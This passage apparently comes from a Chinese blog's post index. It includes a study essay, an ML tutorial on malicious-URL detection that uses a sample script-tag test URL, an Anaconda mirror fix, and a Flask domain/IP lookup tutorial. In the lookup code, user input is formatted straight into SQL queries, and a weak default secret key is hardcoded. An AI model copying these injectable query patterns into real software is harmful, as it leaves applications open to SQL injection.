你感觉是在努力而不自知，会让你陷入深深的自我怀疑，对自己失望，最后越来越糟，失去对学习、工作、生活的兴趣。\n到底什么样的表现是“假努力”呢？有老师针对孩子们在学习上的表现列举了一些“假努力”表现，给了我很大的启发。\n“假努力”表现一：上课只顾抄笔记，老师讲的都不听。\n有很多同学在上课的时候表现得特别忙，看上去特别努力的在学习，老师黑板上写的，还是口头上说的，他们都会事无巨细地写下来。然而，对于老师们讲的是什么？本节课的重难点又是什么？他们全然无所谓，只顾着把这堂课发生的所有一切都记录下来。这样的“假努力”注定会让课堂的效率低下，让自己的努力完全沦为无用的“假努力”。\n“假努力”表现二：花很多时间做笔记，课后却从来不去理解。\n有第一种“假努力”的同学，往往都存在着“假努力”的第二种表现，那就是笔记写得非常非常多，但是至于笔者写的内容和知识点，他们都从来不看，更不会花时间去理解和搞懂笔记上的内容。这样花大力气写下的笔记，当然最终沦为无用功。\n“假努力”表现三：只顾刷题，从来都不花时间总结。\n还有一部分“假努力”的同学，每天花大量的时间刷题，而且他们往往还有一个显著的特征，那就是只管做题多少，从来不过问题目对错！那些错题，反复出现问题的题目，他们从来都是不管不顾，只觉得刷了足够的题目，自己的成绩自然而然会上升！然而，殊不知他们把大量的时间花在了已经会的题目上，那些不会、易错的题目还是永远会错。\n“假努力”表现四：每天熬夜学习，白天学习效率低下。\n不知道各位老师和同学有没有发现，几乎每一个中学班级里，总会出现这么一两个“夜晚学习狂魔”，他么总喜欢晚上搞学习，并且熬非常的时间，导致第二天整个人的精神状态都不好，白天的学习效率极其低下！最后陷入一个“白天该学的时候状态差，晚上不该学的时候拼命学”的死循环当中。\n“假努力”表现五：没有目标和计划的去学习。\n这种“假努力”的表现有一个典型的例子，比如某个同学们英语很差，想通过自己的努力学好英语，然后就从英语单词开始入手，每天背课本上的单词，而且无论什么时候都是从单词表的第一个单词去背起！这样无计划、无目标的努力，只会耗费巨大的时间和精力在重复学习之上！进而导致学习成绩的速度异常的缓慢！\n从这些表现上来看，其实我们成年人在平时学习、工作中同样存在这些类似的问题。个人认为造成穷忙和假努力最大的问题是没有目标和计划。东一榔头、西一棒子，不知道自己到底要学什么，要学到一个什么样的程度。就像小时候课本里的小猴子去掰玉米，看什么捡什么，最后捡了芝麻丢了西瓜。另外一个就是要有系统化、体系化的思维去学习。只有系统化、体系化的去学习某个东西，建立该领域的知识体系结构体系才能在有体系结构的基础上进行积累，才能学得好，学得牢。现在公众号、抖音、知乎上碎片化的知识很多，哪怕你是天天上知乎去关注学习这些碎片化的知识而没有建立一个知识体系去有意识的去理解吸收的话，那就类似于花了很多时间去做笔记，去关注去了解，课后从来不去理解。给人感觉是看上去在很努力的学习，其实啥也没有学到。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-12-28-%E7%A9%B7%E5%BF%99%E4%B8%8E%E5%81%87%E5%8A%AA%E5%8A%9B/","summary":"\u003cp\u003e\u003cimg alt=\"穷忙与假努力\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20211228/%E7%A9%B7%E5%BF%99%E4%B8%8E%E5%81%87%E5%8A%AA%E5%8A%9B.png\"\u003e\u003c/p\u003e\n\u003ccenter\u003e穷忙与假努力\u003c/center\u003e\r\n\u003cp\u003e时间过得真快，只有几天2021年即将过去。每次到了年底回想起来总是感觉时间过得真快，忙忙碌碌又过了一年，可自己各方面取得的成绩乏善可陈。自己并不是很懒惰的人，看上去每天都很忙，却没有忙出效果，反而是随着年龄的增大越来越焦虑。越焦虑就暗自下决心以后要更加努力，当努力没有达到效果时就更加的焦虑。陷入了越努力-\u0026gt;越失望-\u0026gt;越焦虑的怪圈。\u003c/p\u003e","title":"穷忙与假努力"},{"content":"服务数字经济，护航美好生活！\n2021年12月09日通服网安研发团队强势入驻岳麓上大学科技城国家网络安全产业园。\n新场地，新征程，数网络安全研发，还看通服网安！\n通服网安\r通服网安研发团队\r通服网安研发大楼\r通服网安研发大楼外景\r通服网安前台\r通服网安展厅入口\r通服网安展厅\r通服网安研发楼展厅安全运营中心展示\r没有网络安全就没有国家安全\r","permalink":"http://xiejava.ishareread.com/posts/2021-12-10-%E6%96%B0%E5%9C%BA%E5%9C%B0%E6%96%B0%E5%BE%81%E7%A8%8B/","summary":"\u003cp\u003e服务数字经济，护航美好生活！\u003c/p\u003e\n\u003cp\u003e2021年12月09日通服网安研发团队强势入驻岳麓上大学科技城国家网络安全产业园。\u003c/p\u003e\n\u003cp\u003e新场地，新征程，数网络安全研发，还看通服网安！\u003c/p\u003e","title":"新场地，新征程！"},{"content":"恶意URL检测的方法很多，这里介绍通过机器学习分析URL文本分词词频来检测恶意URL。训练的数据集为开源数据集，通过机器学习训练检测模型，然后做了部分工程化的应用，将模型持久化，在应用的时候加载进来直接应用，不用重新进行训练。通过接口调用实现恶意URL检测预测判断。\n恶意URL检测，对应与机器学习是个分类问题，这里分别用逻辑回归和SVM支持向量机分类模型进行模型实现。\n具体实现过程包括数据载入\u0026ndash;\u0026gt;数据处理（分词、向量化处理）\u0026ndash;\u0026gt;模型训练\u0026ndash;\u0026gt;模型保存\u0026ndash;\u0026gt;模型应用\n项目组织结构如下： 一、数据载入 从数据集中载入数据，读取数据，将URL和标签进行识别和区分。\n1 2 3 4 5 6 7 8 9 10 #从文件中获取数据集 def getDataFromFile(filename=\u0026#39;data/data.csv\u0026#39;): input_url = filename data_csv = pd.read_csv(input_url, \u0026#39;,\u0026#39;, error_bad_lines=False) data_df = pd.DataFrame(data_csv) url_df = np.array(data_df) random.shuffle(url_df) y = [d[1] for d in url_df] inputurls = [d[0] for d in url_df] return inputurls,y 二、数据处理（分词、向量化处理） 数据处理实现对URL的分词及向量化处理 分词:分析URL根据,.-进行分词，由于com、cn等常用域名不是关键影响因素，所以分词的时候去掉了\n分词 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #分词 def getTokens(input): web_url = input.lower() urltoken = [] dot_slash = [] slash = str(web_url).split(\u0026#39;/\u0026#39;) for i in slash: r1 = str(i).split(\u0026#39;-\u0026#39;) token_slash = [] for j in range(0, len(r1)): r2 = str(r1[j]).split(\u0026#39;.\u0026#39;) token_slash = token_slash + r2 dot_slash = dot_slash + r1 + token_slash urltoken = list(set(dot_slash)) if \u0026#39;com\u0026#39; in urltoken: urltoken.remove(\u0026#39;com\u0026#39;) if \u0026#39;cn\u0026#39; in urltoken: urltoken.remove(\u0026#39;cn\u0026#39;) return urltoken 向量化处理 将分词以后的结果进行词频的向量化处理，形成可以用于模型训练的稀疏矩阵向量\n1 2 3 all_urls,y=getDataFromFile(datapath) url_vectorizer = TfidfVectorizer(tokenizer=getTokens) x = url_vectorizer.fit_transform(all_urls) 三、模型训练 将经过处理后的训练数据用模型进行训练，将数据集分为两部分一部分用于训练，一部分用于测试评估。\n1 2 3 4 5 6 7 8 9 10 11 #训练,通过逻辑回归模型训练 def trainLR(datapath): all_urls,y=getDataFromFile(datapath) url_vectorizer = TfidfVectorizer(tokenizer=getTokens) x = url_vectorizer.fit_transform(all_urls) x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42) l_regress = LogisticRegression() # Logistic regression l_regress.fit(x_train, y_train) l_score = l_regress.score(x_test, y_test) print(\u0026#34;score: {0:.2f} %\u0026#34;.format(100 * l_score)) return l_regress,url_vectorizer 用逻辑回归模型训练的结果是 score: 98.50 %\n1 2 3 4 5 6 7 8 9 10 11 #训练，通过SVM支持向量机模型训练 def trainSVM(datapath): all_urls, y = getDataFromFile(datapath) url_vectorizer = TfidfVectorizer(tokenizer=getTokens) x = url_vectorizer.fit_transform(all_urls) x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42) svmModel=svm.LinearSVC() svmModel.fit(x_train, y_train) svm_score=svmModel.score(x_test, y_test) print(\u0026#34;score: {0:.2f} %\u0026#34;.format(100 * svm_score)) return svmModel,url_vectorizer 用SVM模型训练的结果是 score: 99.64 %\n可以看出SVM模型训练的结果比逻辑回归模型训练的效果要稍好。\n四、保存模型 将训练好的模型进行持久化保存，通过pickle.dump()的方式把训练好的模型参数及特征保存至模型文件，以便于应用的时候不要再进行训练，直接应用训练好的模型。\n1 2 3 4 5 6 7 8 9 10 11 12 #保存模型及特征 def saveModel(model,vector): #保存模型 file1 = modelfile_path with open(file1, \u0026#39;wb\u0026#39;) as f: pickle.dump(model, f) f.close() #保存特征 file2 = vectorfile_path with open(file2, \u0026#39;wb\u0026#39;) as f2: pickle.dump(vector, f2) f2.close() 通过main方法执行训练模型及保存模型\n1 2 3 4 if __name__ == \u0026#39;__main__\u0026#39;: #model,vector=trainLR(\u0026#39;data/data.csv\u0026#39;) model, vector = trainSVM(\u0026#39;data/data.csv\u0026#39;) saveModel(model,vector) 四、模型应用 通过pickle.load载入已经训练好的模型和特征，并用Flask暴露一个接口调用模型的预测方法进行预测。\n载入已经训练好的模型 1 2 3 4 5 6 7 8 9 10 11 12 #载入已经训练好的模型 def loadModel(): file1 = modelfile_path with open(file1, \u0026#39;rb\u0026#39;) as f1: model = pickle.load(f1) f1.close() file2 = vectorfile_path with open(file2, \u0026#39;rb\u0026#39;) as f2: vector = pickle.load(f2) f2.close() return model,vector 通过接口进行调用 1 2 3 4 5 6 7 8 9 10 #通过接口进行调用 @app.route(\u0026#39;/\u0026lt;path:path\u0026gt;\u0026#39;) def show_predict(path): X_predict = [] X_predict.append(path) model, vector = loadModel() x = vector.transform(X_predict) y_predict = model.predict(x) print(y_predict[0]) return \u0026#34;url predict: \u0026#34;+str(y_predict[0]) 五、应用效果 将需要检测的URL，输入到http://127.0.0.1:5000/后面，就可以根据输入的URL进行检测给出模型预测的结果。 http://127.0.0.1:5000/sohu.com/a/338823532_354899 http://127.0.0.1:5000/sohu.com/a/%3Cscript%3E/test 完整代码及数据集见：https://github.com/xiejava1018/urldetection.git\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-12-09-%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%AE%9E%E7%8E%B0%E6%81%B6%E6%84%8Furl%E6%A3%80%E6%B5%8B%E5%AE%9E%E6%88%98%E4%B8%80/","summary":"\u003cp\u003e恶意URL检测的方法很多，这里介绍通过机器学习分析URL文本分词词频来检测恶意URL。训练的数据集为开源数据集，通过机器学习训练检测模型，然后做了部分工程化的应用，将模型持久化，在应用的时候加载进来直接应用，不用重新进行训练。通过接口调用实现恶意URL检测预测判断。\u003c/p\u003e","title":"机器学习实现恶意URL检测实战一"},{"content":"最近在通过pycharm开发python程序，引用anaconda环境建立虚拟环境时报错，报UnavailableInvalidChannel: The channel is not accessible or is invalid.应该是镜像源访问通道无法访问或无效。现将解决办法记录如下：\n环境说明： 操作系统：win10 安装有anaconda 4.10.3 pycharm2021.2\n报错现象： 在pycharm中新建python项目，引用anaconda建立虚拟环境时报错 报“UnavailableInvalidChannel: The channel is not accessible or is invalid.” 解决办法： 1、找到anaconda的源配置文件 根据报错的建议提示：\nYou will need to ajust your conda configuration to proceed. Use \u0026lsquo;cona config \u0026ndash;show channels\u0026rsquo; to view your configuration\u0026rsquo;s current state, and use \u0026lsquo;conda config \u0026ndash;show-sources\u0026rsquo; to view config file location.\n意思是建议你需要调整conda的配置来处理，可以通过cona config --show channels命令来查看你当前的配置状态，可以用conda config --show-sources看查看本地的配置文件。 根据这个建议，打开anaconda的命令行控制台。 敲入“conda config \u0026ndash;show-sources”命令，显示当前的通道为https://pypi.tuna.tsinghua.edu.cn/simple 报错就是说这个通道无法访问或无效。\n1 2 3 (base) PS C:\\Users\\xiejava\u0026gt; conda config --show channels channels: - https://pypi.tuna.tsinghua.edu.cn/simple 通过“conda config \u0026ndash;show-sources” 查看配置文件的路径。配置文件为用户目录下的.condarc文件\n1 2 3 4 5 (base) PS C:\\Users\\xiejava\u0026gt; conda config --show-sources ==\u0026gt; C:\\Users\\xiejava\\.condarc \u0026lt;== channels: - https://pypi.tuna.tsinghua.edu.cn/simple show_channel_urls: True 2、修改为清华的镜像源 将找到的.condarc文件打开。 拷贝以下清华的镜像源到该文件\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 channels: - defaults custom_channels: conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud default_channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2 show_channel_urls: True 然后再次运行conda config --show-sources，确认配置文件内容已经修改。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 (base) PS C:\\Users\\xiejava\u0026gt; conda config --show-sources ==\u0026gt; C:\\Users\\xiejava\\.condarc \u0026lt;== channels: - defaults custom_channels: conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud default_channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2 show_channel_urls: True 3、验证 再打开pycharm引用Conda Enviroment新建新的虚拟环境。 这时不报错可以正常创建Conda虚拟环境了。 至此，修改成清华镜像源解决了Anaconda报The channel is not accessible源通道不可用的问题。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-11-26-%E8%A7%A3%E5%86%B3anaconda%E6%8A%A5%E6%BA%90%E9%80%9A%E9%81%93%E4%B8%8D%E5%8F%AF%E7%94%A8%E9%97%AE%E9%A2%98/","summary":"\u003cp\u003e最近在通过pycharm开发python程序，引用anaconda环境建立虚拟环境时报错，报UnavailableInvalidChannel: The channel is not accessible or is invalid.应该是镜像源访问通道无法访问或无效。现将解决办法记录如下：\u003c/p\u003e","title":"解决Anaconda报The channel is not accessible源通道不可用问题"},{"content":"域名和IP地址信息是非常基础的情报信息，目前网上有很多网站都提供了域名信息的查询、IP地址及归属地的查询。本文通过Python Flask实现域名及IP情报信息的聚合网站。\n因为域名和IP地址信息会有变化，为了减少接口压力，做了本地数据库的存储，新鲜度保存一周，每次查询先从本地数据库获取信息，如果本地库信息有并且没有超过一个星期就从本地库取，没有就从其他网站获取，并更新到本地库。\n一、获取域名WHOIS信息 网上提供域名WHOIS信息查询的网站有很多，这里以http://whois.chinafu.com 为例实现WHOIS信息的查询和解析。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requests from bs4 import BeautifulSoup headers = { \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\u0026#39; } def getwhoisinfobychinafu(domain): ret_result = {} result=getWhoisInfoFromDB(domain) if len(result)==0: whois_service_url = \u0026#39;http://whois.chinafu.com/whois.php\u0026#39; post_data={\u0026#34;domain\u0026#34;:domain} try: post_result=requests.post(whois_service_url,post_data) if post_result.status_code == 200: ret_str = post_result.content.decode(\u0026#39;utf-8\u0026#39;) soup = BeautifulSoup(ret_str, \u0026#39;lxml\u0026#39;) items_tr =soup.find(name=\u0026#39;table\u0026#39;,attrs={\u0026#39;class\u0026#39;:\u0026#39;listtable\u0026#39;}).find_all(name=\u0026#39;tr\u0026#39;) for item_tr in items_tr: td_item=item_tr.find(name=\u0026#39;td\u0026#39;) if \u0026#39;colspan\u0026#39; in td_item.attrs: key_name=\u0026#39;详情\u0026#39; key_value=td_item.find(name=\u0026#39;div\u0026#39;,id=\u0026#39;tab1\u0026#39;).text else: key_name=item_tr.find(name=\u0026#39;th\u0026#39;).text key_value=item_tr.find(name=\u0026#39;td\u0026#39;).text ret_result[key_name]=key_value addchinafuWhoisInfo2DB(ret_result) except Exception as r: print(\u0026#39;未知错误 %s\u0026#39; % (r)) #ret_result = json.dumps(ret_result, ensure_ascii=False) else: ret_result=result[0] return ret_result def getWhoisInfoFromDB(domainname): whoisInfos=db.session.execute(\u0026#39;select * from whoisinfo where domain_name=\u0026#34;%s\u0026#34; and updated_time \u0026gt; DATE_SUB(CURDATE(), INTERVAL 1 WEEK)\u0026#39; % domainname).fetchall() whoisInfo_dics=[] for whoisInfo in whoisInfos: chinafuwhoisinfo_dic=chinafuwhoisinfo2dic(whoisInfo) whoisInfo_dics.append(chinafuwhoisinfo_dic) return whoisInfo_dics def addchinafuWhoisInfo2DB(chinafuWhoisInfo_dic): chinafuWhois=WhoisInfo() chinafuWhois.domain_name=chinafuWhoisInfo_dic.get(\u0026#39;域名DomainName\u0026#39;) chinafuWhois.domain_status=chinafuWhoisInfo_dic.get(\u0026#39;域名状态Domain Status\u0026#39;,\u0026#39;\u0026#39;) chinafuWhois.registrar=chinafuWhoisInfo_dic.get(\u0026#39;注册商Sponsoring Registrar\u0026#39;,\u0026#39;\u0026#39;) chinafuWhois.name_server=chinafuWhoisInfo_dic.get(\u0026#39;DNS 服务器Name Server\u0026#39;,\u0026#39;\u0026#39;) chinafuWhois.registrar_creation_date=chinafuWhoisInfo_dic.get(\u0026#39;注册日期Registration Date\u0026#39;,\u0026#39;\u0026#39;) chinafuWhois.registrar_updated_date = chinafuWhoisInfo_dic.get(\u0026#39;更新日期Update Date\u0026#39;, \u0026#39;\u0026#39;) chinafuWhois.registrar_expiry_date = chinafuWhoisInfo_dic.get(\u0026#39;到期日期Expiration Date\u0026#39;, \u0026#39;\u0026#39;) chinafuWhois.detail=chinafuWhoisInfo_dic.get(\u0026#39;详情\u0026#39;, \u0026#39;\u0026#39;)[0:10000] chinafuWhois.source = \u0026#39;中国福网\u0026#39; db.session.execute(\u0026#39;delete from whoisinfo where domain_name=\u0026#34;%s\u0026#34; and source=\u0026#34;%s\u0026#34;\u0026#39; % (chinafuWhoisInfo_dic.get(\u0026#39;域名DomainName\u0026#39;), chinafuWhois.source)) db.session.add(chinafuWhois) db.session.commit() 这里为了减少直接从其他网站获取WHOIS信息的压力，做了本地数据库的存储，每次先从本地数据库取WHOIS的信息，如果本地库信息有并且没有超过一个星期就从本地库取，没有就从其他网站获取，并更新到本地库。这里getWhoisInfoFromDB实现了取新鲜度为1周的数据，addchinafuWhoisInfo2DB实现将获取的信息保存到本地数据库。\n二、根据域名解析出IP 根据域名解析出IP代码：\n1 2 3 4 5 6 7 8 def getIPbyDomain(domain): addr=\u0026#39;\u0026#39; try: myaddr = socket.getaddrinfo(domain, \u0026#39;http\u0026#39;) addr=myaddr[0][4][0] except Exception as e: print(e) return addr 三、获取IP信息 获取IP信息的API接口也有很多，有淘宝的 https://ip.taobao.com/outGetIpInfo 、IPINFO http://ipinfo.io/、IPAPI http://ip-api.com/ 以及GeoLite2离线库等。\n从淘宝IP获取IP信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def getipinfobytaobao(ip): taobaoIp_url = \u0026#39;https://ip.taobao.com/outGetIpInfo\u0026#39; post_data={\u0026#34;ip\u0026#34;:ip,\u0026#34;accessKey\u0026#34;:\u0026#34;alibaba-inc\u0026#34;} ret_ipinfo= {} try: return_data=requests.post(taobaoIp_url,post_data) #其中返回数据中code的值的含义为，0：成功，1：服务器异常，2：请求参数异常，3：服务器繁忙，4：个人qps超出 return_json=json.loads(return_data.text) if return_json[\u0026#39;code\u0026#39;]==0: ret_ipinfo[\u0026#39;ip\u0026#39;]=return_json[\u0026#39;data\u0026#39;][\u0026#39;ip\u0026#39;] ret_ipinfo[\u0026#39;country\u0026#39;]=return_json[\u0026#39;data\u0026#39;][\u0026#39;country\u0026#39;] ret_ipinfo[\u0026#39;region\u0026#39;]=return_json[\u0026#39;data\u0026#39;][\u0026#39;region\u0026#39;] ret_ipinfo[\u0026#39;org\u0026#39;]=\u0026#39;\u0026#39; ret_ipinfo[\u0026#39;city\u0026#39;] = return_json[\u0026#39;data\u0026#39;][\u0026#39;city\u0026#39;] ret_ipinfo[\u0026#39;isp\u0026#39;]=return_json[\u0026#39;data\u0026#39;][\u0026#39;isp\u0026#39;] ret_ipinfo[\u0026#39;loc\u0026#39;] = \u0026#39;\u0026#39; ret_ipinfo[\u0026#39;timezone\u0026#39;] = \u0026#39;\u0026#39; ret_ipinfo[\u0026#39;source\u0026#39;]=\u0026#39;淘宝IP\u0026#39; addIPInfo2DB(ret_ipinfo) except Exception as e: print(\u0026#39;未知错误 %s\u0026#39; % (e)) return ret_ipinfo 从ipinfo.io获取IP信息 1 2 3 4 5 6 7 8 9 10 11 12 def getipinfobyipinfo(ip): api_url=\u0026#39;http://ipinfo.io/\u0026#39;+ip ipinfo = {} try: req_return = requests.get(api_url) if req_return.status_code == 200: ipinfo = json.loads(req_return.text) ipinfo[\u0026#39;source\u0026#39;]=\u0026#39;ipinfo.io\u0026#39; addIPInfo2DB(ipinfo) except Exception as e: print(\u0026#39;未知错误 %s\u0026#39; % (e)) return ipinfo 从ip-api.com获取IP信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 def getipinfobyipapi(ip): api_url=\u0026#39;http://ip-api.com/json/\u0026#39;+ip ipinfo={} try: req_return=requests.get(api_url) if req_return.status_code==200: ipinfo=json.loads(req_return.text) ipinfo[\u0026#39;ip\u0026#39;] = ip ipinfo[\u0026#39;source\u0026#39;] = \u0026#39;ip-api.com\u0026#39; ipinfo[\u0026#39;loc\u0026#39;] = str(ipinfo[\u0026#39;lat\u0026#39;])+\u0026#39;,\u0026#39;+str(ipinfo[\u0026#39;lon\u0026#39;]) addIPInfo2DB(ipinfo) except Exception as e: print(\u0026#39;未知错误 %s\u0026#39; % (e)) return ipinfo 从GeoLite离线库获取IP信息 如何获取GeoLite离线库及如何读取，详见：http://xiejava.ishareread.com/posts/2c5697c0/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def getipinfobygeoip2(ip): ipinfo={} dbdir=Config.geoLiteDBdir with geoip2.database.Reader(dbdir) as reader: response = reader.city(ip) ipinfo[\u0026#39;ip\u0026#39;] =ip ipinfo[\u0026#39;country\u0026#39;] = response.country.names[\u0026#39;zh-CN\u0026#39;] ipinfo[\u0026#39;region\u0026#39;] =\u0026#39;\u0026#39; ipinfo[\u0026#39;city\u0026#39;]=response.city.name ipinfo[\u0026#39;org\u0026#39;] =\u0026#39;\u0026#39; ipinfo[\u0026#39;loc\u0026#39;] = str(response.location.latitude)+\u0026#39;,\u0026#39;+str(response.location.longitude) ipinfo[\u0026#39;timezone\u0026#39;] = response.location.time_zone ipinfo[\u0026#39;source\u0026#39;] = \u0026#39;GeoIP\u0026#39; addIPInfo2DB(ipinfo) return ipinfo 四、搭建一个FLASK Web应用来查询聚合的域名、IP情报信息 1、FLASK Web应用的工程组织 2、配置数据及读取配置数据 1）配置数据 配置数据分别放在.env及.flaskenv中，其中.env放的是工程中用到的数据库链接等比较私密的配置信息。.flaskenv放的是Flask运行环境的信息 .env的配置信息参考如下：\n1 2 3 4 5 6 DEV_DATABASE_URI = \u0026#39;mysql+pymysql://dbuser:yourpassword@127.0.0.1:3306/infocol_db_dev?charset=utf8\u0026#39; TEST_DATABASE_URI = \u0026#39;mysql+pymysql://dbuser:yourpassword@127.0.0.1:3306/infocol_db_test?charset=utf8\u0026#39; PROD_DATABASE_URI = \u0026#39;mysql+pymysql://dbuser:yourpassword@127.0.0.1:3306/infocol_db?charset=utf8\u0026#39; SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY=your secret key .falskenv配置信息参考如下：\n1 FLASK_ENV=development 2）实现读取配置数据 通过config.py实现配置数据的读取及管理\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import os from dotenv import load_dotenv basedir=os.path.abspath(os.path.dirname(__file__)) flaskenv_path=os.path.join(basedir,\u0026#39;.flaskenv\u0026#39;) env_path=os.path.join(basedir,\u0026#39;.env\u0026#39;) if os.path.exists(flaskenv_path): load_dotenv(flaskenv_path) if os.path.exists(env_path): load_dotenv(env_path) class Config: geoLiteDBdir=os.path.join(basedir,\u0026#39;GeoLite2\\GeoLite2-City.mmdb\u0026#39;) flaskenv = os.getenv(\u0026#39;FLASK_ENV\u0026#39;,\u0026#39;development\u0026#39;) SECRET_KEY=os.getenv(\u0026#39;SECRET_KEY\u0026#39;,\u0026#39;123!@#\u0026#39;) SQLALCHEMY_TRACK_MODIFICATIONS=os.getenv(\u0026#39;SQLALCHEMY_TRACK_MODIFICATIONS\u0026#39;) SQLALCHEMY_DATABASE_URI = os.getenv(\u0026#39;DEV_DATABASE_URI\u0026#39;) @staticmethod def init_app(app): pass class DevelopmentConfig(Config): DEBUG=True SQLALCHEMY_DATABASE_URI = os.getenv(\u0026#39;DEV_DATABASE_URI\u0026#39;) class TestingConfig(Config): TESTING=True SQLALCHEMY_DATABASE_URI = os.getenv(\u0026#39;TEST_DATABASE_URI\u0026#39;) class ProductionConfig(Config): SQLALCHEMY_DATABASE_URI = os.getenv(\u0026#39;PROD_DATABASE_URI\u0026#39;) config={ \u0026#39;development\u0026#39;:DevelopmentConfig, \u0026#39;testing\u0026#39;:TestingConfig, \u0026#39;production\u0026#39;:ProductionConfig, \u0026#39;default\u0026#39;:DevelopmentConfig } 3、界面及路由 界面很简单就一个域名/IP的输入框，输入域名或IP后去查询相应的域名信息或IP信息显示到界面上。 界面用jinjia2的模板 index.html代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 {% extends \u0026#34;bootstrap/base.html\u0026#34; %} {% block title %}InfoCol{% endblock %} {% block head %} {{ super() }} \u0026lt;style\u0026gt;\u0026lt;/style\u0026gt; {% endblock %} {% block body %} {% block navbar %} \u0026lt;div class=\u0026#34;navbar navbar-inverse\u0026#34; role=\u0026#34;navigation\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;navbar-header\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; class=\u0026#34;navbar-toggle\u0026#34; data-toggle=\u0026#34;collapse\u0026#34; data-target=\u0026#34;.navbar-collapse\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;sr-only\u0026#34;\u0026gt;Toggle navigation\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;icon-bar\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;icon-bar\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;icon-bar\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/button\u0026gt; \u0026lt;a class=\u0026#34;navbar-brand\u0026#34; href=\u0026#34;/\u0026#34;\u0026gt;InfoCol\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;navbar-collapse collapse\u0026#34;\u0026gt; \u0026lt;ul class=\u0026#34;nav navbar-nav\u0026#34;\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;Home\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {% endblock %} {% block content %} \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;page-header \u0026#34; \u0026gt; \u0026lt;form method=\u0026#34;post\u0026#34; class=\u0026#34;center-block\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;center-block\u0026#34; style=\u0026#34;text-align:center\u0026#34;\u0026gt; {{ form.hidden_tag() }} {{ form.name.label }}{{ form.name() }} {{ form.submit() }} \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; {% if whois_info %} \u0026lt;table class=\u0026#34;table table-bordered\u0026#34;\u0026gt; \u0026lt;tr\u0026gt;\u0026lt;th colspan=\u0026#34;2\u0026#34;\u0026gt;{{ name }}的Whois信息\u0026lt;/th\u0026gt;\u0026lt;/tr\u0026gt; {% for item in whois_info %} {% if item!=\u0026#39;详情\u0026#39; %} \u0026lt;tr\u0026gt;\u0026lt;td style=\u0026#34;width: 20%\u0026#34;\u0026gt;{{ item }}\u0026lt;/td\u0026gt;\u0026lt;td style=\u0026#34;width: 80%\u0026#34;\u0026gt;{{ whois_info[item] 